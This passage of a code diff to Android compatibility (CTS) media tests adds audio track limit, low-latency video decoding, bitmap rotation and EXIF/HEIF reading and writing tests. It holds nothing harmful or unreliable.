+
+ // Can't actually test this as HAL may not have implemented it
+ // Just verify that it doesn't crash or throw an exception
+ // assertTrue(success);
+ } catch (Exception ex) {
+ Log.e(TAG, "testSetPreferredMicrophoneFieldDimension() exception:" + ex);
+ assertTrue(false);
+ }
+ return;
+ }
+
}
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
index 4ab16ff..1434e1b 100755
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
@@ -2653,6 +2653,46 @@
}
}
+ @Test
+ public void testMaxAudioTracks() throws Exception {
+ if (!hasAudioOutput()) {
+ return;
+ }
+
+ // The framework must not give more than MAX_TRACKS tracks per UID.
+ final int MAX_TRACKS = 512; // an arbitrary large number > 40
+ final int FRAMES = 1024;
+
+ final AudioTrack[] tracks = new AudioTrack[MAX_TRACKS];
+ final AudioTrack.Builder builder = new AudioTrack.Builder()
+ .setAudioFormat(new AudioFormat.Builder()
+ .setEncoding(AudioFormat.ENCODING_PCM_8BIT)
+ .setSampleRate(8000)
+ .setChannelMask(AudioFormat.CHANNEL_OUT_MONO)
+ .build())
+ .setBufferSizeInBytes(FRAMES)
+ .setTransferMode(AudioTrack.MODE_STATIC);
+
+ int n = 0;
+ try {
+ for (; n < MAX_TRACKS; ++n) {
+ tracks[n] = builder.build();
+ }
+ } catch (UnsupportedOperationException e) {
+ ; // we expect this when we hit the uid track limit.
+ }
+
+ // release all the tracks created.
+ for (int i = 0; i < n; ++i) {
+ tracks[i].release();
+ tracks[i] = null;
+ }
+ Log.d(TAG, "" + n + " tracks were created");
+ assertTrue("should be able to create at least one static track", n > 0);
+ assertTrue("was able to create " + MAX_TRACKS + " tracks - that's too many!",
+ n < MAX_TRACKS);
+ }
+
/* Do not run in JB-MR1. will be re-opened in the next platform release.
public void testResourceLeakage() throws Exception {
final int BUFFER_SIZE = 600 * 1024;
diff --git a/tests/tests/media/src/android/media/cts/CodecUtils.java b/tests/tests/media/src/android/media/cts/CodecUtils.java
index 15314ef..ab509fb 100644
--- a/tests/tests/media/src/android/media/cts/CodecUtils.java
+++ b/tests/tests/media/src/android/media/cts/CodecUtils.java
@@ -168,6 +168,73 @@
return counter;
}
+ /**
+ * This method verifies the rotation degrees of a bitmap by reading the colors on its corners.
+ * The bitmap without rotation (rotation degree == 0) looks like
+ * red | green
+ * -----------------
+ * blue | white
+ * with resolution equals to 320x240.
+ */
+ public static boolean VerifyFrameRotationFromBitmap(Bitmap bitmap, int targetRotation) {
+ if (targetRotation == 0 || targetRotation == 180) {
+ if (bitmap.getWidth() != 320 || bitmap.getHeight() != 240) {
+ return false;
+ }
+ Color left_top = Color.valueOf(bitmap.getPixel(10, 10));
+ Color right_top = Color.valueOf(bitmap.getPixel(310, 10));
+ Color left_bottom = Color.valueOf(bitmap.getPixel(10, 230));
+ Color right_bottom = Color.valueOf(bitmap.getPixel(310, 230));
+ if (targetRotation == 0) {
+ if (!isRed(left_top) || !isGreen(right_top)
+ || !isBlue(left_bottom) || !isWhite(right_bottom)) {
+ return false;
+ }
+ } else {
+ if (!isWhite(left_top) || !isBlue(right_top)
+ || !isGreen(left_bottom) || !isRed(right_bottom)) {
+ return false;
+ }
+ }
+ } else if (targetRotation == 90 || targetRotation == 270) {
+ if (bitmap.getWidth() != 240 || bitmap.getHeight() != 320) {
+ return false;
+ }
+ Color left_top = Color.valueOf(bitmap.getPixel(10, 10));
+ Color right_top = Color.valueOf(bitmap.getPixel(230, 10));
+ Color left_bottom = Color.valueOf(bitmap.getPixel(10, 310));
+ Color right_bottom = Color.valueOf(bitmap.getPixel(230, 310));
+ if (targetRotation == 90) {
+ if (!isBlue(left_top) || !isRed(right_top)
+ || !isWhite(left_bottom) || !isGreen(right_bottom)) {
+ return false;
+ }
+ } else {
+ if (!isGreen(left_top) || !isWhite(right_top)
+ || !isRed(left_bottom) || !isBlue(right_bottom)) {
+ return false;
+ }
+ }
+ }
+ return true;
+ }
+
+ private static boolean isRed(Color color) {
+ return color.red() > 0.95 && color.green() < 0.05 && color.blue() < 0.05;
+ }
+
+ private static boolean isGreen(Color color) {
+ return color.red() < 0.05 && color.green() > 0.95 && color.blue() < 0.05;
+ }
+
+ private static boolean isBlue(Color color) {
+ return color.red() < 0.05 && color.green() < 0.05 && color.blue() > 0.95;
+ }
+
+ private static boolean isWhite(Color color) {
+ return color.red() > 0.95 && color.green() > 0.95 && color.blue() > 0.95;
+ }
+
public static void saveBitmapToFile(Bitmap bitmap, String filename) {
try {
File outputFile = new File(Environment.getExternalStorageDirectory(), filename);
diff --git a/tests/tests/media/src/android/media/cts/DecoderTest.java b/tests/tests/media/src/android/media/cts/DecoderTest.java
index aba1d72..22549e5 100644
--- a/tests/tests/media/src/android/media/cts/DecoderTest.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTest.java
@@ -42,6 +42,7 @@
import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+import com.android.compatibility.common.util.MediaPerfUtils;
import com.android.compatibility.common.util.MediaUtils;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
@@ -65,6 +66,7 @@
@AppModeFull(reason = "There should be no instant apps specific behavior related to decoders")
public class DecoderTest extends MediaPlayerTestBase {
private static final String TAG = "DecoderTest";
+ private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
private static final int RESET_MODE_NONE = 0;
private static final int RESET_MODE_RECONFIGURE = 1;
@@ -170,6 +172,10 @@
decode(R.raw.sinesweepwav, 0.0f);
testTimeStampOrdering(R.raw.sinesweepwav);
}
+ public void testDecodeWav24() throws Exception {
+ decode(R.raw.sinesweepwav24, 0.0f);
+ testTimeStampOrdering(R.raw.sinesweepwav24);
+ }
public void testDecodeFlacMkv() throws Exception {
decode(R.raw.sinesweepflacmkv, 0.0f);
testTimeStampOrdering(R.raw.sinesweepflacmkv);
@@ -3420,4 +3426,196 @@
PackageManager pm = mContext.getPackageManager();
return pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
}
+
+ public void testLowLatencyVp9At1280x720() throws Exception {
+ testLowLatencyVideo(
+ R.raw.video_1280x720_webm_vp9_csd_309kbps_25fps_vorbis_stereo_128kbps_48000hz, 300,
+ false /* useNdk */);
+ testLowLatencyVideo(
+ R.raw.video_1280x720_webm_vp9_csd_309kbps_25fps_vorbis_stereo_128kbps_48000hz, 300,
+ true /* useNdk */);
+ }
+
+ public void testLowLatencyVp9At1920x1080() throws Exception {
+ testLowLatencyVideo(
+ R.raw.bbb_s2_1920x1080_webm_vp9_0p41_10mbps_60fps_vorbis_6ch_384kbps_22050hz, 300,
+ false /* useNdk */);
+ testLowLatencyVideo(
+ R.raw.bbb_s2_1920x1080_webm_vp9_0p41_10mbps_60fps_vorbis_6ch_384kbps_22050hz, 300,
+ true /* useNdk */);
+ }
+
+ public void testLowLatencyVp9At3840x2160() throws Exception {
+ testLowLatencyVideo(
+ R.raw.bbb_s2_3840x2160_webm_vp9_0p51_20mbps_60fps_vorbis_6ch_384kbps_32000hz, 300,
+ false /* useNdk */);
+ testLowLatencyVideo(
+ R.raw.bbb_s2_3840x2160_webm_vp9_0p51_20mbps_60fps_vorbis_6ch_384kbps_32000hz, 300,
+ true /* useNdk */);
+ }
+
+ public void testLowLatencyAVCAt1280x720() throws Exception {
+ testLowLatencyVideo(
+ R.raw.video_1280x720_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz, 300,
+ false /* useNdk */);
+ testLowLatencyVideo(
+ R.raw.video_1280x720_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz, 300,
+ true /* useNdk */);
+ }
+
+ public void testLowLatencyHEVCAt480x360() throws Exception {
+ testLowLatencyVideo(
+ R.raw.video_480x360_mp4_hevc_650kbps_30fps_aac_stereo_128kbps_48000hz, 300,
+ false /* useNdk */);
+ testLowLatencyVideo(
+ R.raw.video_480x360_mp4_hevc_650kbps_30fps_aac_stereo_128kbps_48000hz, 300,
+ true /* useNdk */);
+ }
+
+ private void testLowLatencyVideo(int testVideo, int frameCount, boolean useNdk)
+ throws Exception {
+ AssetFileDescriptor fd = mResources.openRawResourceFd(testVideo);
+ MediaExtractor extractor = new MediaExtractor();
+ extractor.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+ fd.close();
+
+ MediaFormat format = null;
+ int trackIndex = -1;
+ for (int i = 0; i < extractor.getTrackCount(); i++) {
+ format = extractor.getTrackFormat(i);
+ if (format.getString(MediaFormat.KEY_MIME).startsWith("video/")) {
+ trackIndex = i;
+ break;
+ }
+ }
+
+ assertTrue("No video track was found", trackIndex >= 0);
+
+ extractor.selectTrack(trackIndex);
+ format.setFeatureEnabled(MediaCodecInfo.CodecCapabilities.FEATURE_LowLatency,
+ true /* enable */);
+
+ MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
+ String decoderName = mcl.findDecoderForFormat(format);
+ if (decoderName == null) {
+ MediaUtils.skipTest("no low latency decoder for " + format);
+ return;
+ }
+ String entry = (useNdk ? "NDK" : "SDK");
+ Log.v(TAG, "found " + entry + " decoder " + decoderName + " for format: " + format);
+
+ Surface surface = getActivity().getSurfaceHolder().getSurface();
+ MediaCodecWrapper decoder = null;
+ if (useNdk) {
+ decoder = new NdkMediaCodec(decoderName);
+ } else {
+ decoder = new SdkMediaCodec(MediaCodec.createByCodecName(decoderName));
+ }
+ format.removeFeature(MediaCodecInfo.CodecCapabilities.FEATURE_LowLatency);
+ format.setInteger(MediaFormat.KEY_LOW_LATENCY, 1);
+ decoder.configure(format, 0 /* flags */, surface);
+ decoder.start();
+
+ if (!useNdk) {
+ decoder.getInputBuffers();
+ }
+ ByteBuffer[] codecOutputBuffers = decoder.getOutputBuffers();
+ String decoderOutputFormatString = null;
+
+ // start decoding
+ final long kTimeOutUs = 1000000; // 1 second
+ MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+ int bufferCounter = 0;
+ long[] latencyMs = new long[frameCount];
+ boolean waitingForOutput = false;
+ long startTimeMs = System.currentTimeMillis();
+ while (bufferCounter < frameCount) {
+ if (!waitingForOutput) {
+ int inputBufferId = decoder.dequeueInputBuffer(kTimeOutUs);
+ if (inputBufferId < 0) {
+ Log.v(TAG, "no input buffer");
+ break;
+ }
+
+ ByteBuffer dstBuf = decoder.getInputBuffer(inputBufferId);
+
+ int sampleSize = extractor.readSampleData(dstBuf, 0 /* offset */);
+ long presentationTimeUs = 0;
+ if (sampleSize < 0) {
+ Log.v(TAG, "had input EOS, early termination at frame " + bufferCounter);
+ break;
+ } else {
+ presentationTimeUs = extractor.getSampleTime();
+ }
+
+ startTimeMs = System.currentTimeMillis();
+ decoder.queueInputBuffer(
+ inputBufferId,
+ 0 /* offset */,
+ sampleSize,
+ presentationTimeUs,
+ 0 /* flags */);
+
+ extractor.advance();
+ waitingForOutput = true;
+ }
+
+ int outputBufferId = decoder.dequeueOutputBuffer(info, kTimeOutUs);
+
+ if (outputBufferId >= 0) {
+ waitingForOutput = false;
+ //Log.d(TAG, "got output, size " + info.size + ", time " + info.presentationTimeUs);
+ latencyMs[bufferCounter++] = System.currentTimeMillis() - startTimeMs;
+ // TODO: render the frame and find the rendering time to calculate the total delay
+ decoder.releaseOutputBuffer(outputBufferId, false /* render */);
+ } else if (outputBufferId == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+ codecOutputBuffers = decoder.getOutputBuffers();
+ Log.d(TAG, "output buffers have changed.");
+ } else if (outputBufferId == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+ decoderOutputFormatString = decoder.getOutputFormatString();
+ Log.d(TAG, "output format has changed to " + decoderOutputFormatString);
+ } else {
+ fail("No output buffer returned without frame delay, status " + outputBufferId);
+ }
+ }
+
+ assertTrue("No INFO_OUTPUT_FORMAT_CHANGED from decoder", decoderOutputFormatString != null);
+
+ long latencyMean = 0;
+ long latencyMax = 0;
+ int maxIndex = 0;
+ for (int i = 0; i < bufferCounter; ++i) {
+ latencyMean += latencyMs[i];
+ if (latencyMs[i] > latencyMax) {
+ latencyMax = latencyMs[i];
+ maxIndex = i;
+ }
+ }
+ if (bufferCounter > 0) {
+ latencyMean /= bufferCounter;
+ }
+ Log.d(TAG, entry + " latency average " + latencyMean + " ms, max " + latencyMax +
+ " ms at frame " + maxIndex);
+
+ DeviceReportLog log = new DeviceReportLog(REPORT_LOG_NAME, "video_decoder_latency");
+ String mime = format.getString(MediaFormat.KEY_MIME);
+ int width = format.getInteger(MediaFormat.KEY_WIDTH);
+ int height = format.getInteger(MediaFormat.KEY_HEIGHT);
+ log.addValue("codec_name", decoderName, ResultType.NEUTRAL, ResultUnit.NONE);
+ log.addValue("mime_type", mime, ResultType.NEUTRAL, ResultUnit.NONE);
+ log.addValue("width", width, ResultType.NEUTRAL, ResultUnit.NONE);
+ log.addValue("height", height, ResultType.NEUTRAL, ResultUnit.NONE);
+ log.addValue("video_res", testVideo, ResultType.NEUTRAL, ResultUnit.NONE);
+ log.addValue("decode_to", surface == null ? "buffer" : "surface",
+ ResultType.NEUTRAL, ResultUnit.NONE);
+
+ log.addValue("average_latency", latencyMean, ResultType.LOWER_BETTER, ResultUnit.MS);
+ log.addValue("max_latency", latencyMax, ResultType.LOWER_BETTER, ResultUnit.MS);
+
+ log.submit(getInstrumentation());
+
+ decoder.stop();
+ decoder.release();
+ extractor.release();
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
index 6bb448f..59dc6e7 100644
--- a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
@@ -22,6 +22,7 @@
import android.media.ExifInterface;
import android.os.Environment;
import android.os.FileUtils;
+import android.os.StrictMode;
import android.platform.test.annotations.AppModeFull;
import android.system.ErrnoException;
import android.system.Os;
@@ -33,6 +34,7 @@
import java.io.BufferedInputStream;
import java.io.ByteArrayInputStream;
+import java.io.EOFException;
import java.io.File;
import java.io.FileDescriptor;
import java.io.FileInputStream;
@@ -69,6 +71,9 @@
private static final String PENTAX_K5_PEF = "pentax_k5.pef";
private static final String SAMSUNG_NX3000_SRW = "samsung_nx3000.srw";
private static final String VOLANTIS_JPEG = "volantis.jpg";
+ private static final String WEBP_WITH_EXIF = "webp_with_exif.webp";
+ private static final String PNG_WITH_EXIF_BYTE_ORDER_II = "png_with_exif_byte_order_ii.png";
+ private static final String PNG_WITHOUT_EXIF = "png_without_exif.png";
private static final String[] EXIF_TAGS = {
ExifInterface.TAG_MAKE,
@@ -380,6 +385,31 @@
}
}
+ private void testExifInterfaceForStandalone(String fileName, int typedArrayResourceId)
+ throws IOException {
+ ExpectedValue expectedValue = new ExpectedValue(
+ getContext().getResources().obtainTypedArray(typedArrayResourceId));
+
+ // Test for reading from external data storage.
+ fileName = EXTERNAL_BASE_DIRECTORY + fileName;
+
+ File imageFile = new File(Environment.getExternalStorageDirectory(), fileName);
+ String verboseTag = imageFile.getName();
+
+ FileInputStream fis = new FileInputStream(imageFile);
+ // Skip the following marker bytes (0xff, 0xd8, 0xff, 0xe1)
+ fis.skip(4);
+ // Read the value of the length of the exif data
+ short length = readShort(fis);
+ byte[] exifBytes = new byte[length];
+ fis.read(exifBytes);
+
+ ByteArrayInputStream bin = new ByteArrayInputStream(exifBytes);
+ ExifInterface exifInterface =
+ new ExifInterface(bin, ExifInterface.STREAM_TYPE_EXIF_DATA_ONLY);
+ compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
+ }
+
private void testExifInterfaceCommon(String fileName, ExpectedValue expectedValue)
throws IOException {
File imageFile = new File(Environment.getExternalStorageDirectory(), fileName);
@@ -388,18 +418,18 @@
// Creates via path.
ExifInterface exifInterface = new ExifInterface(imageFile.getAbsolutePath());
assertNotNull(exifInterface);
- compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
+ compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
// Creates via file.
exifInterface = new ExifInterface(imageFile);
- compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
+ compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
InputStream in = null;
// Creates via InputStream.
try {
in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
exifInterface = new ExifInterface(in);
- compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
+ compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
} finally {
IoUtils.closeQuietly(in);
}
@@ -409,7 +439,7 @@
try {
fd = Os.open(imageFile.getAbsolutePath(), OsConstants.O_RDONLY, 0600);
exifInterface = new ExifInterface(fd);
- compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
+ compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
} catch (ErrnoException e) {
throw e.rethrowAsIOException();
} finally {
@@ -548,7 +578,7 @@
}
}
- private void testExifInterfaceForJpeg(String fileName, int typedArrayResourceId)
+ private void testExifInterfaceForReadAndWrite(String fileName, int typedArrayResourceId)
throws IOException {
ExpectedValue expectedValue = new ExpectedValue(
getContext().getResources().obtainTypedArray(typedArrayResourceId));
@@ -565,7 +595,7 @@
testSaveAttributes_withFileDescriptor(fileName, expectedValue);
}
- private void testExifInterfaceForRaw(String fileName, int typedArrayResourceId)
+ private void testExifInterfaceForRead(String fileName, int typedArrayResourceId)
throws IOException {
ExpectedValue expectedValue = new ExpectedValue(
getContext().getResources().obtainTypedArray(typedArrayResourceId));
@@ -578,22 +608,44 @@
testExifInterfaceRange(fileName, expectedValue);
}
+ private void testThumbnail(ExpectedValue expectedValue, ExifInterface exifInterface) {
+ byte[] thumbnail = exifInterface.getThumbnailBytes();
+ // TODO: Add support for testing validity of uncompressed thumbnails
+ if (expectedValue.isThumbnailCompressed) {
+ Bitmap thumbnailBitmap = BitmapFactory.decodeByteArray(thumbnail, 0,
+ thumbnail.length);
+ assertNotNull(thumbnailBitmap);
+ assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
+ assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
+ }
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
+ .detectUnbufferedIo()
+ .penaltyDeath()
+ .build());
+ }
+
public void testReadExifDataFromExifByteOrderIIJpeg() throws Throwable {
- testExifInterfaceForJpeg(EXIF_BYTE_ORDER_II_JPEG, R.array.exifbyteorderii_jpg);
+ testExifInterfaceForReadAndWrite(EXIF_BYTE_ORDER_II_JPEG, R.array.exifbyteorderii_jpg);
}
public void testReadExifDataFromExifByteOrderMMJpeg() throws Throwable {
- testExifInterfaceForJpeg(EXIF_BYTE_ORDER_MM_JPEG, R.array.exifbyteordermm_jpg);
+ testExifInterfaceForReadAndWrite(EXIF_BYTE_ORDER_MM_JPEG, R.array.exifbyteordermm_jpg);
}
public void testReadExifDataFromLgG4Iso800Dng() throws Throwable {
- testExifInterfaceForRaw(LG_G4_ISO_800_DNG, R.array.lg_g4_iso_800_dng);
+ testExifInterfaceForRead(LG_G4_ISO_800_DNG, R.array.lg_g4_iso_800_dng);
}
public void testReadExifDataFromLgG4Iso800Jpg() throws Throwable {
stageFile(R.raw.lg_g4_iso_800, new File(Environment.getExternalStorageDirectory(),
EXTERNAL_BASE_DIRECTORY + LG_G4_ISO_800_JPG));
- testExifInterfaceForJpeg(LG_G4_ISO_800_JPG, R.array.lg_g4_iso_800_jpg);
+ testExifInterfaceForReadAndWrite(LG_G4_ISO_800_JPG, R.array.lg_g4_iso_800_jpg);
}
public void testDoNotFailOnCorruptedImage() throws Throwable {
@@ -610,43 +662,75 @@
public void testReadExifDataFromVolantisJpg() throws Throwable {
// Test if it is possible to parse the volantis generated JPEG smoothly.
- testExifInterfaceForJpeg(VOLANTIS_JPEG, R.array.volantis_jpg);
+ testExifInterfaceForReadAndWrite(VOLANTIS_JPEG, R.array.volantis_jpg);
}
public void testReadExifDataFromSonyRX100Arw() throws Throwable {
- testExifInterfaceForRaw(SONY_RX_100_ARW, R.array.sony_rx_100_arw);
+ testExifInterfaceForRead(SONY_RX_100_ARW, R.array.sony_rx_100_arw);
}
public void testReadExifDataFromCanonG7XCr2() throws Throwable {
- testExifInterfaceForRaw(CANON_G7X_CR2, R.array.canon_g7x_cr2);
+ testExifInterfaceForRead(CANON_G7X_CR2, R.array.canon_g7x_cr2);
}
public void testReadExifDataFromFujiX20Raf() throws Throwable {
- testExifInterfaceForRaw(FUJI_X20_RAF, R.array.fuji_x20_raf);
+ testExifInterfaceForRead(FUJI_X20_RAF, R.array.fuji_x20_raf);
}
public void testReadExifDataFromNikon1AW1Nef() throws Throwable {
- testExifInterfaceForRaw(NIKON_1AW1_NEF, R.array.nikon_1aw1_nef);
+ testExifInterfaceForRead(NIKON_1AW1_NEF, R.array.nikon_1aw1_nef);
}
public void testReadExifDataFromNikonP330Nrw() throws Throwable {
- testExifInterfaceForRaw(NIKON_P330_NRW, R.array.nikon_p330_nrw);
+ testExifInterfaceForRead(NIKON_P330_NRW, R.array.nikon_p330_nrw);
}
public void testReadExifDataFromOlympusEPL3Orf() throws Throwable {
- testExifInterfaceForRaw(OLYMPUS_E_PL3_ORF, R.array.olympus_e_pl3_orf);
+ testExifInterfaceForRead(OLYMPUS_E_PL3_ORF, R.array.olympus_e_pl3_orf);
}
public void testReadExifDataFromPanasonicGM5Rw2() throws Throwable {
- testExifInterfaceForRaw(PANASONIC_GM5_RW2, R.array.panasonic_gm5_rw2);
+ testExifInterfaceForRead(PANASONIC_GM5_RW2, R.array.panasonic_gm5_rw2);
}
public void testReadExifDataFromPentaxK5Pef() throws Throwable {
- testExifInterfaceForRaw(PENTAX_K5_PEF, R.array.pentax_k5_pef);
+ testExifInterfaceForRead(PENTAX_K5_PEF, R.array.pentax_k5_pef);
}
public void testReadExifDataFromSamsungNX3000Srw() throws Throwable {
- testExifInterfaceForRaw(SAMSUNG_NX3000_SRW, R.array.samsung_nx3000_srw);
+ testExifInterfaceForRead(SAMSUNG_NX3000_SRW, R.array.samsung_nx3000_srw);
+ }
+
+ public void testStandaloneDataForRead() throws Throwable {
+ testExifInterfaceForStandalone(EXIF_BYTE_ORDER_II_JPEG, R.array.exifbyteorderii_standalone);
+ testExifInterfaceForStandalone(EXIF_BYTE_ORDER_MM_JPEG, R.array.exifbyteordermm_standalone);
+ }
+
+ public void testExifByteOrderIIPngForReadAndWrite() throws Throwable {
+ stageFile(R.raw.png_with_exif_byte_order_ii, new File(Environment.getExternalStorageDirectory(),
+ EXTERNAL_BASE_DIRECTORY + PNG_WITH_EXIF_BYTE_ORDER_II));
+ testExifInterfaceForRead(PNG_WITH_EXIF_BYTE_ORDER_II, R.array.exifbyteorderii_png);
+ }
+
+ public void testExifByteOrderIIWebpForRead() throws Throwable {
+ stageFile(R.raw.webp_with_exif, new File(Environment.getExternalStorageDirectory(),
+ EXTERNAL_BASE_DIRECTORY + WEBP_WITH_EXIF));
+ testExifInterfaceForRead(WEBP_WITH_EXIF, R.array.exifbyteorderii_webp);
+ }
+
+ public void testPngWithoutExifForWrite() throws Throwable {
+ stageFile(R.raw.png_without_exif, new File(Environment.getExternalStorageDirectory(),
+ EXTERNAL_BASE_DIRECTORY + PNG_WITHOUT_EXIF));
+
+ // Do we need to clone this file?
+ File imageFile = new File(Environment.getExternalStorageDirectory(),
+ EXTERNAL_BASE_DIRECTORY + PNG_WITHOUT_EXIF);
+ ExifInterface exifInterface = new ExifInterface(imageFile.getAbsolutePath());
+ exifInterface.setAttribute(ExifInterface.TAG_MAKE, "abc");
+ exifInterface.saveAttributes();
+ exifInterface = new ExifInterface(imageFile.getAbsolutePath());
+ String make = exifInterface.getAttribute(ExifInterface.TAG_MAKE);
+ assertEquals("abc", make);
}
public void testSetDateTime() throws IOException {
@@ -692,15 +776,12 @@
return cloned;
}
- private void testThumbnail(ExpectedValue expectedValue, ExifInterface exifInterface) {
- byte[] thumbnail = exifInterface.getThumbnailBytes();
- // TODO: Add support for testing validity of uncompressed thumbnails
- if (expectedValue.isThumbnailCompressed) {
- Bitmap thumbnailBitmap = BitmapFactory.decodeByteArray(thumbnail, 0,
- thumbnail.length);
- assertNotNull(thumbnailBitmap);
- assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
- assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
+ private short readShort(InputStream is) throws IOException {
+ int ch1 = is.read();
+ int ch2 = is.read();
+ if ((ch1 | ch2) < 0) {
+ throw new EOFException();
}
+ return (short) ((ch1 << 8) + (ch2));
}
}
diff --git a/tests/tests/media/src/android/media/cts/HeifWriterTest.java b/tests/tests/media/src/android/media/cts/HeifWriterTest.java
index 79eda3b..068a5e7 100644
--- a/tests/tests/media/src/android/media/cts/HeifWriterTest.java
+++ b/tests/tests/media/src/android/media/cts/HeifWriterTest.java
@@ -40,28 +40,38 @@
import android.os.HandlerThread;
import android.os.Process;
import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.RequiresDevice;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
import android.test.AndroidTestCase;
import android.util.Log;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.heifwriter.HeifWriter;
+import androidx.test.filters.SmallTest;
import com.android.compatibility.common.util.MediaUtils;
import java.io.Closeable;
import java.io.File;
+import java.io.FileDescriptor;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
+import java.io.RandomAccessFile;
import java.util.Arrays;
+@SmallTest
+@RequiresDevice
@AppModeFull(reason = "Instant apps cannot access the SD card")
public class HeifWriterTest extends AndroidTestCase {
private static final String TAG = HeifWriterTest.class.getSimpleName();
private static final boolean DEBUG = false;
+ private static final boolean DUMP_OUTPUT = false;
private static final boolean DUMP_YUV_INPUT = false;
private static final int GRID_WIDTH = 512;
private static final int GRID_HEIGHT = 512;
@@ -349,8 +359,13 @@
mHeight = 1080;
mRotation = 0;
mQuality = 100;
- mOutputPath = new File(Environment.getExternalStorageDirectory(),
- OUTPUT_FILENAME).getAbsolutePath();
+ // use memfd by default
+ if (DUMP_OUTPUT) {
+ mOutputPath = new File(Environment.getExternalStorageDirectory(),
+ OUTPUT_FILENAME).getAbsolutePath();
+ } else {
+ mOutputPath = null;
+ }
}
Builder setInputPath(String inputPath) {
@@ -395,9 +410,11 @@
}
private void cleanupStaleOutputs() {
- File outputFile = new File(mOutputPath);
- if (outputFile.exists()) {
- outputFile.delete();
+ if (mOutputPath != null) {
+ File outputFile = new File(mOutputPath);
+ if (outputFile.exists()) {
+ outputFile.delete();
+ }
}
}
@@ -434,13 +451,22 @@
mInputIndex = 0;
HeifWriter heifWriter = null;
- FileInputStream inputStream = null;
- FileOutputStream outputStream = null;
+ FileInputStream inputYuvStream = null;
+ FileOutputStream outputYuvStream = null;
+ FileDescriptor outputFd = null;
+ RandomAccessFile outputFile = null;
try {
if (DEBUG) Log.d(TAG, "started: " + config);
+ if (config.mOutputPath != null) {
+ outputFile = new RandomAccessFile(config.mOutputPath, "rws");
+ outputFile.setLength(0);
+ outputFd = outputFile.getFD();
+ } else {
+ outputFd = Os.memfd_create("temp", OsConstants.MFD_CLOEXEC);
+ }
heifWriter = new HeifWriter.Builder(
- config.mOutputPath, width, height, config.mInputMode)
+ outputFd, width, height, config.mInputMode)
.setRotation(config.mRotation)
.setGridEnabled(config.mUseGrid)
.setMaxImages(config.mMaxNumImages)
@@ -459,27 +485,27 @@
byte[] data = new byte[width * height * 3 / 2];
if (config.mInputPath != null) {
- inputStream = new FileInputStream(config.mInputPath);
+ inputYuvStream = new FileInputStream(config.mInputPath);
}
if (DUMP_YUV_INPUT) {
- File outputFile = new File("/sdcard/input.yuv");
- outputFile.createNewFile();
- outputStream = new FileOutputStream(outputFile);
+ File outputYuvFile = new File("/sdcard/input.yuv");
+ outputYuvFile.createNewFile();
+ outputYuvStream = new FileOutputStream(outputYuvFile);
}
for (int i = 0; i < actualNumImages; i++) {
if (DEBUG) Log.d(TAG, "fillYuvBuffer: " + i);
- fillYuvBuffer(i, data, width, height, inputStream);
+ fillYuvBuffer(i, data, width, height, inputYuvStream);
if (DUMP_YUV_INPUT) {
Log.d(TAG, "@@@ dumping input YUV");
- outputStream.write(data);
+ outputYuvStream.write(data);
}
heifWriter.addYuvBuffer(ImageFormat.YUV_420_888, data);
}
} else if (config.mInputMode == INPUT_MODE_SURFACE) {
// The input surface is a surface texture using single buffer mode, draws will be
- // blocked until onFrameAvailable is done with the buffer, which is dependant on
+ // blocked until onFrameAvailable is done with the buffer, which is dependent on
// how fast MediaCodec processes them, which is further dependent on how fast the
// MediaCodec callbacks are handled. We can't put draws on the same looper that
// handles MediaCodec callback, it will cause deadlock.
@@ -508,19 +534,25 @@
expectedPrimary = 0;
expectedImageCount = actualNumImages;
}
- verifyResult(config.mOutputPath, width, height, config.mRotation,
+ verifyResult(outputFd, width, height, config.mRotation,
expectedImageCount, expectedPrimary, config.mUseGrid,
config.mInputMode == INPUT_MODE_SURFACE);
if (DEBUG) Log.d(TAG, "finished: PASS");
} finally {
try {
- if (outputStream != null) {
- outputStream.close();
+ if (outputYuvStream != null) {
+ outputYuvStream.close();
}
- if (inputStream != null) {
- inputStream.close();
+ if (inputYuvStream != null) {
+ inputYuvStream.close();
}
- } catch (IOException e) {}
+ if (outputFile != null) {
+ outputFile.close();
+ }
